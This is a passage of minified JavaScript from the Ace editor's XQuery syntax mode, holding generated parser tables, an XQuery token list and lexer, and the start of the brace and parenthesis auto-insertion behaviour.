1548,1570,1398,1753,1686,1652,1509,1686,1686,1686,1757,1686,1419,1686,1763,1418,1768,1781,1686,1686,1686,1705,1686,2048,1792,1686,1686,1686,1735,1686,1797,1686,1686,1404,1686,1639,1815,1686,1686,1418,2017,1820,1686,1686,1803,1686,1686,1686,1736,1489,1686,1686,1825,1338,1260,1263,1686,1686,1785,1686,1686,1728,1686,1686,1749,1497,1830,1830,1262,1248,1261,1329,1260,1264,1329,1248,1249,1259,1540,1849,1842,1686,1686,1835,1686,1686,1816,1686,1686,1831,1882,1848,1686,1686,1686,1774,2071,1854,1686,1686,1469,1884,1686,1821,1859,1686,1686,1350,1883,1686,1686,1686,1781,1391,1875,1686,1686,1613,1644,1686,1686,1889,1686,1686,1662,1884,1686,1885,1890,1686,1686,1686,1894,1686,1686,1678,1686,1907,1686,1686,1529,1914,1686,1838,1686,1686,1881,1686,1686,1872,1876,1836,1919,1686,1837,1692,1910,1686,1925,1928,1742,1686,1811,1811,1930,1810,1929,1935,1928,1900,1942,1867,1868,1931,1035,1788,1948,1952,1956,1960,1964,1686,1976,1686,1686,1686,2065,1686,1992,2037,1686,1686,1998,2009,1972,2002,1686,1686,1686,2077,1300,2023,1686,1686,1686,1807,2031,1686,1686,1686,1860,1500,2032,1686,1686,1686,2083,1686,2036,1686,1277,1276,2042,1877,1686,1686,2041,1686,1686,2027,2037,2012,1686,2012,1855,1850,1686,2046,1686,1686,2054,1996,1686,1897,1309,2059,2052,1686,2058,1686,1686,2081,1686,1717,1477,1686,1331,1686,1686,1687,1686,1860,1681,1686,1686,1686,1966,1724,1686,1686,1686,1984,2015,1686,1686,1686,1988,1686,2063,1686,1686,1686,2005,1686,1727,1686,1686,1711,1457,2069,1686,1686,1686,2019,2075,1686,1686,1915,1686,1686,1793,1874,1686,1686,1491,1362,1449,1686,1686,1460,2098,2087,2091,2095,2184,2102,2113,2780,2117,2134,2142,2281,2146,2146,2146,2304,2296,2181,2639,2591,2872,2592,2873,2313,2195,2200,2281,2146,2273,2226,2204,2152,2219,2276,2167,2177,2276,2235,2276,2276,2230,2281,2276,2296,2276,2293,2276,2276,2276,2276,2234,2276,2311,2314,2210,2199,2217,2222,2276,2276,2276,2240,2276,2294,2276,2276,2173,2276,2198,2281,2281,2281,2281,2282,2146,2146,2146,2146,2205,2146,2204,2248,2276,2235,2276,2297,2276,2276,2276,2277,2256,2281,2283,2146,2146,2146,2275,2276,2295,2276,2276,2293,2146,2304,2264,2269,2221,2276,2276,2276,2293,2295,2276,2276,2276,2295,2263,2205,2268,2220,2172,2276,2276,2276,2296,2276,2276,2296,2294,2276,2276,2278,2281,2281,2280,2281,2281,2281,2283,2206,2223,2276,2276,2279,2281,2281,2146,2273,2276,2276,2281,2281,2281,2276,2292,2276,2298,2225,2276,2298,2169,2224,2292,2298,2171,2229,2281,2281,2171,2236,2281,2281,2281,2146,2275,2225,2292,2299,2276,2229,2281,2146,2276,2290,2297,2283,2146,2146,2274,2224,2227,2298,2225,2297,2276,2230,2170,2230,2282,2146,2147,2151,2156,2288,2276,2230,2303,2308,2236,2284,2228,2318,2318,2318,2326,2335,2339,2343,2349,2416,2693,2357,2592,2109,2592,2592,2162,2943,2823,2646,2592,2361,2592,2122,2592,2592,2122,2470,2592,2592,2592,2109,2107,2592,2592,2592,2123,2592,2592,2592,2125,2592,2413,2592,2592,2592,2127,2592,2592,2414,2592,2592,2592,2130,2952,2592,2594,2592,2592,2212,2609,2252,2592,2592,2592,2446,2434,2592,2592,2592,2212,2446,2450,2456,2431,2435,2592,2592,2243,2478,2448,2439,2946,2592,2592,2592,2368,2809,2813,2450,2441,2212,2812,2449,2440,2947,2592,2592,2592,2345,2451,2457,2948,2592,2124,2592,2592,2650,2823,2449,2455,2946,2592,2128,2592,2592,2649,2952,2592,2810,2448,2461,2991,2467,2592,2592,2329,2817,2474,2990,2466,2592,2592,2373,2447,2992,2469,2592,2592,2592,2373,2447,2477,2468,2592,2592,2353,2469,2592,2495,2592,2592,2415,2483,2592,2415,2496,2592,2592,2352,2592,2592,2352,2352,2469,2592,2592,2363,2331,2494,2592,2592,2592,2375,2592,2375,2415,2504,2592,2592,2367,2372,2503,2592,2592,2592,2389,2418,2415,2592,2592,2373,2592,2592,2592,2593,2732,2417,2415,2592,2417,2520,2592,2592,2592,2390,2521,2521,2592,2592,2592,2401,2599,2585,2526,2531,2120,2592,2212,2426,2450,2463,2948,2592,2592,2592,2213,2389,2527,2532,2121,2542,2551,2105,2592,2213,2592,2592,2592,2558,2538,2544,2553,2557,2537,2543,2552,2421,2572,2576,2546,2543,2547,2592,2592,2373,2615,2575,2545,2105,2592,2244,2479,2592,2129,2592,2592,2628,2690,2469,2562,2566,2592,2592,2592,2415,2928,2934,2401,2570,2574,2564,2572,2585,2590,2592,2592,2585,2965,2592,2592,2592,2445,2251,2592,2592,2592,2474,2592,2609,2892,2592,2362,2592,2592,2138,2851,2159,2592,2592,2592,2509,2888,2892,2592,2592,2592,2490,2418,2891,2592,2592,2376,2592,2592,2374,2592,2889,2388,2592,2373,2373,2890,2592,2592,2387,2592,2887,2505,2892,2592,2373,2610,2388,2592,2592,2376,2373,2592,2887,2891,2592,2374,2592,2592,2608,2159,2614,2620,2592,2592,2394,2594,2887,2399,2592,2887,2397,2508,2374,2507,2592,2375,2592,2592,2592,2595,2508,2506,2592,2506,2505,2505,2592,2507,2637,2505,2592,2592,2401,2661,2592,2643,2592,2592,2417,2592,2655,2592,2592,2592,2510,2414,2656,2592,2592,2592,2516,2592,2593,2660,2665,2880,2592,2592,2592,2522,2767,2666,2881,2592,2592,2420,2571,2696,2592,2592,2592,2580,2572,2686,2632,2698,2592,2383,2514,2592,2163,2932,2465,2685,2631,2697,2592,2388,2592,2592,2212,2604,2671,2632,2678,2592,2401,2405,2409,2592,2592,2592,2679,2592,2592,2592,2592,2108,2677,2591,2592,2592,2592,2419,2592,2683,2187,2191,2469,2671,2189,2467,2592,2401,2629,2633,2702,2468,2592,2592,2421,2536,2703,2469,2592,2592,2422,2573,2593,2672,2467,2592,2402,2406,2592,2402,2979,2592,2592,2626,2673,2467,2592,2446,2259,2947,2592,2377,2709,2592,2592,2522,2862,2713,2468,2592,2592,2581,2572,2562,2374,2374,2592,2376,2721,2724,2592,2592,2624,2373,2731,2592,2592,2592,2626,2732,2592,2592,2592,2755,2656,2726,2736,2741,2592,2486,2593,2381,2592,2727,2737,2742,2715,2747,2753,2592,2498,2469,2873,2743,2592,2592,2592,2791,2759,2763,2592,2592,2627,2704,2592,2592,2522,2789,2593,2761,2753,2592,2498,2863,2592,2592,2767,2592,2592,2592,2792,2789,2592,2592,2592,2803,2126,2592,2592,2592,2811,2122,2592,2592,2592,2834,2777,2592,2592,2592,2848,2936,2591,2489,2797,2592,2592,2670,2631,2490,2798,2592,2592,2592,2963,2807,2592,2592,2592,2965,2838,2592,2592,2592,2975,2330,2818,2829,2592,2498,2939,2592,2498,2592,2791,2331,2819,2830,2592,2592,2592,2982,2834,2817,2828,2106,2592,2592,2592,2405,2405,2817,2828,2592,2592,2415,2849,2842,2592,2522,2773,2592,2522,2868,2592,2580,2600,2586,2137,2850,2843,2592,2592,2855,2937,2844,2592,2592,2592,2987,2936,2591,2592,2592,2684,2630,2592,2856,2938,2592,2592,2860,2939,2592,2592,2872,2592,2861,2591,2592,2592,2887,2616,2592,2867,2592,2592,2708,2592,2498,2469,2498,2497,2785,2773,2499,2783,2770,2877,2877,2877,2772,2592,2592,2345,2885,2592,2592,2592,2715,2762,2515,2896,2592,2592,2715,2917,2516,2897,2592,2592,2592,2901,2906,2911,2592,2592,2956,2960,2715,2902,2907,2912,2593,2916,2920,2820,2922,2822,2592,2592,2715,2927,2921,2821,2106,2592,2592,2974,2408,2321,2821,2106,2592,2592,2983,2592,2593,2404,2408,2592,2592,2717,2749,2716,2928,2322,2822,2593,2926,2919,2820,2934,2823,2592,2592,2592,2651,2824,2592,2592,2592,2130,2952,2592,2592,2592,2592,2964,2592,2592,2716,2748,2592,2969,2592,2592,2716,2918,2368,2970,2592,2592,2592,2403,2407,2592,2592,2787,2211,2404,2409,2592,2592,2802,2837,2987,2592,2592,2592,2809,2427,2592,2793,2592,2592,2809,2447,1073741824,2147483648,539754496,542375936,402653184,554434560,571736064,545521856,268451840,335544320,268693630,512,2048,256,1024,0,1024,0,1073741824,2147483648,0,0,0,8388608,0,0,1073741824,1073741824,0,2147483648,537133056,4194304,1048576,268435456,-1073741824,0,0,0,1048576,0,0,0,1572864,0,0,0,4194304,0,134217728,16777216,0,0,32,64,98304,0,33554432,8388608,192,67108864,67108864,67108864,67108864,16,32,4,0,8192,196608,196608,229376,80,4096,524288,8388608,0,0,32,128,256,24576,24600,24576,24576,2,24576,24576,24576,24584,24592,24576,24578,24576,24578,24576,24576,16,512,2048,2048,256,4096,32768,1048576,4194304,67108864,134217728,268435456,262144,134217728,0,128,128,64,16384,16384,16384,67108864,32,32,4,4,4096,262144,134217728,0,0,0,2,0,8192,131072,131072,4096,4096,4096,4096,24576,24576,24576,8,8,24576,24576,16384,16384,16384,24576,24584,24576,24576,24576,16384,24576,536870912,262144,0,0,32,2048,8192,4,4096,4096,4096,786432,8388608,16777216,0,128,16384,16384,16384,32768,65536,2097152,32,32,32,32,4,4,4,4,4,4096,67108864,67108864,67108864,24576,24576,24576,24576,0,16384,16384,16384,16384,67108864,67108864,8,67108864,24576,8,8,8,24576,24576,24576,24578,24576,24576,24576,2,2,2,16384,67108864,67108864,67108864,32,67108864,8,8,24576,2048,2147483648,536870912,262144,262144,262144,67108864,8,24576,16384,32768,1048576,4194304,25165824,67108864,24576,32770,2,4,112,512,98304,524288,50,402653186,1049090,1049091,10,66,100925514,10,66,12582914,0,0,-1678194207,-1678194207,-1041543218,0,32768,0,0,32,65536,268435456,1,1,513,1048577,0,12582912,0,0,0,4,1792,0,0,0,7,29360128,0,0,0,8,0,0,0,12,1,1,0,0,-604102721,-604102721,4194304,8388608,0,0,0,31,925600,997981306,997981306,997981306,0,0,2048,8388608,0,0,1,2,4,32,64,512,8192,0,0,0,245760,997720064,0,0,0,32,0,0,0,3,12,16,32,8,112,3072,12288,16384,32768,65536,131072,7864320,16777216,973078528,0,0,65536,131072,3670016,4194304,16777216,33554432,2,8,48,2048,8192,16384,32768,65536,131072,524288,131072,524288,3145728,4194304,16777216,33554432,65536,131072,2097152,4194304,16777216,33554432,134217728,268435456,536870912,0,0,0,1024,0,8,48,2048,8192,65536,33554432,268435456,536870912,65536,268435456,536870912,0,0,32768,0,0,126,623104,65011712,0,32,65536,536870912,0,0,65536,524288,0,32,65536,0,0,0,2048,0,0,0,15482,245760,-604102721,0,0,0,18913,33062912,925600,-605028352,0,0,0,65536,31,8096,131072,786432,3145728,3145728,12582912,50331648,134217728,268435456,160,256,512,7168,131072,786432,131072,786432,1048576,2097152,12582912,16777216,268435456,1073741824,2147483648,12582912,16777216,33554432,268435456,1073741824,2147483648,3,12,16,160,256,7168,786432,1048576,12582912,16777216,268435456,1073741824,0,8,16,32,128,256,512,7168,786432,1048576,2097152,0,1,2,8,16,7168,786432,1048576,8388608,16777216,16777216,1073741824,0,0,0,0,1,0,0,8,32,128,256,7168,8,32,0,3072,0,8,32,3072,4096,524288,8,32,0,0,3072,4096,0,2048,524288,8388608,8,2048,0,0,1,12,256,4096,32768,262144,1048576,4194304,67108864,0,2048,0,2048,2048,1073741824,-58805985,-58805985,-58805985,0,0,262144,0,0,32,4194304,16777216,134217728,4382,172032,-58982400,0,0,2,28,256,4096,8192,8192,32768,131072,262144,524288,1,2,12,256,4096,0,0,4194304,67108864,134217728,805306368,1073741824,0,0,1,2,12,16,256,4096,1048576,67108864,134217728,268435456,0,512,1048576,4194304,201326592,1879048192,0,0,12,256,4096,134217728,268435456,536870912,12,256,268435456,536870912,0,12,256,0,0,1,32,64,512,0,0,205236961,205236961,0,0,0,1,96,640,1,10976,229376,204996608,0,640,2048,8192,229376,1572864,1572864,2097152,201326592,0,0,0,64,512,2048,229376,1572864,201326592,1572864,201326592,0,0,1,4382,0,1,32,2048,65536,131072,1572864,201326592,131072,1572864,134217728,0,0,524288,524288,0,0,0,-68582786,-68582786,-68582786,0,0,2097152,524288,0,524288,0,0,65536,131072,1572864,0,0,2,4,0,0,65011712,-134217728,0,0,0,0,2,4,120,512,-268435456,0,0,0,2,8,48,64,2048,8192,98304,524288,2097152,4194304,25165824,33554432,134217728,268435456,2147483648,0,0,25165824,33554432,134217728,1879048192,2147483648,0,0,4,112,512,622592,65011712,134217728,-268435456,16777216,33554432,134217728,1610612736,0,0,0,64,98304,524288,4194304,16777216,33554432,0,98304,524288,16777216,33554432,0,65536,524288,33554432,536870912,1073741824,0,65536,524288,536870912,1073741824,0,0,65536,524288,536870912,0,524288,0,524288,524288,1048576,2086666240,2147483648,0,-1678194207,0,0,0,8,32,2048,524288,8388608,0,0,33062912,436207616,2147483648,0,0,32,64,2432,16384,32768,32768,524288,3145728,4194304,25165824,25165824,167772160,268435456,2147483648,0,32,64,384,2048,16384,32768,1048576,2097152,4194304,25165824,32,64,128,256,2048,16384,2048,16384,1048576,4194304,16777216,33554432,134217728,536870912,1073741824,0,0,2048,16384,4194304,16777216,33554432,134217728,805306368,0,0,16777216,134217728,268435456,2147483648,0,622592,622592,622592,8807,8807,434791,0,0,16777216,0,0,0,7,608,8192,0,0,0,3,4,96,512,32,64,8192,0,0,16777216,134217728,0,0,2,4,8192,16384,65536,2097152,33554432,268435456],r.TOKEN=[\"(0)\",\"ModuleDecl\",\"Annotation\",\"OptionDecl\",\"Operator\",\"Variable\",\"Tag\",\"EndTag\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSectionContents\",\"AttrTest\",\"Wildcard\",\"EQName\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"QuotChar\",\"AposChar\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"NCName\",\"QName\",\"S\",\"CharRef\",\"CommentContents\",\"DocTag\",\"DocCommentContents\",\"EOF\",\"'!'\",\"'\\\"'\",\"'#'\",\"'#)'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"'(:~'\",\"')'\",\"'*'\",\"'*'\",\"','\",\"'-->'\",\"'.'\",\"'/'\",\"'/>'\",\"':'\",\"':)'\",\"';'\",\"'<!--'\",\"'<![CDATA['\",\"'<?'\",\"'='\",\"'>'\",\"'?'\",\"'?>'\",\"'NaN'\",\"'['\",\"']'\",\"']]>'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'|'\",\"'}'\",\"'}}'\"]},{}],2:[function(e,t,n){\"use strict\";var r=function(e){var t=e;this.tokens=[],this.reset=function(){t=t,this.tokens=[]},this.startNonterminal=function(){},this.endNonterminal=function(){},this.terminal=function(e,n,r){this.tokens.push({name:e,value:t.substring(n,r)})},this.whitespace=function(e,n){this.tokens.push({name:\"WS\",value:t.substring(e,n)})}};n.Lexer=function(e,t){this.tokens=[],this.getLineTokens=function(n,i){i=i===\"start\"||!i?'[\"start\"]':i;var s=JSON.parse(i),o=new r(n),u=new e(n,o),a=[];for(;;){var f=s[s.length-1];try{o.tokens=[],u[\"parse_\"+f]();var l=null;o.tokens.length>1&&o.tokens[0].name===\"WS\"&&(a.push({type:\"text\",value:o.tokens[0].value}),o.tokens.splice(0,1));var c=o.tokens[0],h=t[f];for(var p=0;p<h.length;p++){var d=t[f][p];if(typeof d.name==\"function\"&&d.name(c)||d.name===c.name){l=d;break}}if(c.name===\"EOF\")break;if(c.value===\"\")throw\"Encountered empty string lexical rule.\";a.push({type:l===null?\"text\":typeof l.token==\"function\"?l.token(c.value):l.token,value:c.value}),l&&l.next&&l.next(s)}catch(v){if(v instanceof u.ParseException){var m=0;for(var g=0;g<a.length;g++)m+=a[g].value.length;return a.push({type:\"text\",value:n.substring(m)}),{tokens:a,state:JSON.stringify([\"start\"])}}throw v}}return{tokens:a,state:JSON.stringify(s)}}}},{}],3:[function(e,t,n){\"use strict\";var r=e(\"./XQueryTokenizer\").XQueryTokenizer,i=e(\"./lexer\").Lexer,s=\"after|ancestor|ancestor-or-self|and|as|ascending|attribute|before|case|cast|castable|child|collation|comment|copy|count|declare|default|delete|descendant|descendant-or-self|descending|div|document|document-node|element|else|empty|empty-sequence|end|eq|every|except|first|following|following-sibling|for|function|ge|group|gt|idiv|if|import|insert|instance|intersect|into|is|item|last|le|let|lt|mod|modify|module|namespace|namespace-node|ne|node|only|or|order|ordered|parent|preceding|preceding-sibling|processing-instruction|rename|replace|return|satisfies|schema-attribute|schema-element|self|some|stable|start|switch|text|to|treat|try|typeswitch|union|unordered|validate|where|with|xquery|contains|paragraphs|sentences|times|words|by|collectionreturn|variable|version|option|when|encoding|toswitch|catch|tumbling|sliding|window|at|using|stemming|collection|schema|while|on|nodes|index|external|then|in|updating|value|of|containsbreak|loop|continue|exit|returning|append|json|position|strict\".split(\"|\"),o=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"keyword\"}}),u=s.map(function(e){return{name:\"'\"+e+\"'\",token:\"text\",next:function(e){e.pop()}}}),a=\"constant.language\",f=\"constant\",l=\"comment\",c=\"xml-pe\",h=\"constant.buildin\",p=function(e){return\"'\"+e+\"'\"},d={start:[{name:p(\"(#\"),token:h,next:function(e){e.push(\"Pragma\")}},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\"(:~\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:p(\"<?\"),token:c,next:function(e){e.push(\"PI\")}},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposString\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotString\")}},{name:\"Annotation\",token:\"support.function\"},{name:\"ModuleDecl\",token:\"keyword\",next:function(e){e.push(\"Prefix\")}},{name:\"OptionDecl\",token:\"keyword\",next:function(e){e.push(\"_EQName\")}},{name:\"AttrTest\",token:\"support.type\"},{name:\"Variable\",token:\"variable\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:\"IntegerLiteral\",token:f},{name:\"DecimalLiteral\",token:f},{name:\"DoubleLiteral\",token:f},{name:\"Operator\",token:\"keyword.operator\"},{name:\"EQName\",token:function(e){return s.indexOf(e)!==-1?\"keyword\":\"support.function\"}},{name:p(\"(\"),token:\"lparen\"},{name:p(\")\"),token:\"rparen\"},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:p(\"}\"),token:\"text\",next:function(e){e.length>1&&e.pop()}},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}].concat(o),_EQName:[{name:\"EQName\",token:\"text\",next:function(e){e.pop()}}].concat(u),Prefix:[{name:\"NCName\",token:\"text\",next:function(e){e.pop()}}].concat(u),StartTag:[{name:p(\">\"),token:\"meta.tag\",next:function(e){e.push(\"TagContent\")}},{name:\"QName\",token:\"entity.other.attribute-name\"},{name:p(\"=\"),token:\"text\"},{name:p(\"''\"),token:\"string\",next:function(e){e.push(\"AposAttr\")}},{name:p('\"'),token:\"string\",next:function(e){e.push(\"QuotAttr\")}},{name:p(\"/>\"),token:\"meta.tag.r\",next:function(e){e.pop()}}],TagContent:[{name:\"ElementContentChar\",token:\"text\"},{name:p(\"<![CDATA[\"),token:a,next:function(e){e.push(\"CData\")}},{name:p(\"<!--\"),token:l,next:function(e){e.push(\"XMLComment\")}},{name:\"Tag\",token:\"meta.tag\",next:function(e){e.push(\"StartTag\")}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"text\"},{name:p(\"}}\"),token:\"text\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}},{name:\"EndTag\",token:\"meta.tag\",next:function(e){e.pop(),e.pop()}}],AposAttr:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],QuotAttr:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotAttrContentChar\",token:\"string\"},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:p(\"{{\"),token:\"string\"},{name:p(\"}}\"),token:\"string\"},{name:p(\"{\"),token:\"text\",next:function(e){e.push(\"start\")}}],Pragma:[{name:\"PragmaContents\",token:h},{name:p(\"#\"),token:h},{name:p(\"#)\"),token:h,next:function(e){e.pop()}}],Comment:[{name:\"CommentContents\",token:\"comment\"},{name:p(\"(:\"),token:\"comment\",next:function(e){e.push(\"Comment\")}},{name:p(\":)\"),token:\"comment\",next:function(e){e.pop()}}],CommentDoc:[{name:\"DocCommentContents\",token:\"comment.doc\"},{name:\"DocTag\",token:\"comment.doc.tag\"},{name:p(\"(:\"),token:\"comment.doc\",next:function(e){e.push(\"CommentDoc\")}},{name:p(\":)\"),token:\"comment.doc\",next:function(e){e.pop()}}],XMLComment:[{name:\"DirCommentContents\",token:l},{name:p(\"-->\"),token:l,next:function(e){e.pop()}}],CData:[{name:\"CDataSectionContents\",token:a},{name:p(\"]]>\"),token:a,next:function(e){e.pop()}}],PI:[{name:\"DirPIContents\",token:c},{name:p(\"?\"),token:c},{name:p(\"?>\"),token:c,next:function(e){e.pop()}}],AposString:[{name:p(\"''\"),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeApos\",token:\"constant.language.escape\"},{name:\"AposChar\",token:\"string\"}],QuotString:[{name:p('\"'),token:\"string\",next:function(e){e.pop()}},{name:\"PredefinedEntityRef\",token:\"constant.language.escape\"},{name:\"CharRef\",token:\"constant.language.escape\"},{name:\"EscapeQuot\",token:\"constant.language.escape\"},{name:\"QuotChar\",token:\"string\"}]};n.XQueryLexer=function(){return new i(r,d)}},{\"./XQueryTokenizer\":1,\"./lexer\":2}]},{},[3])(3)}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var 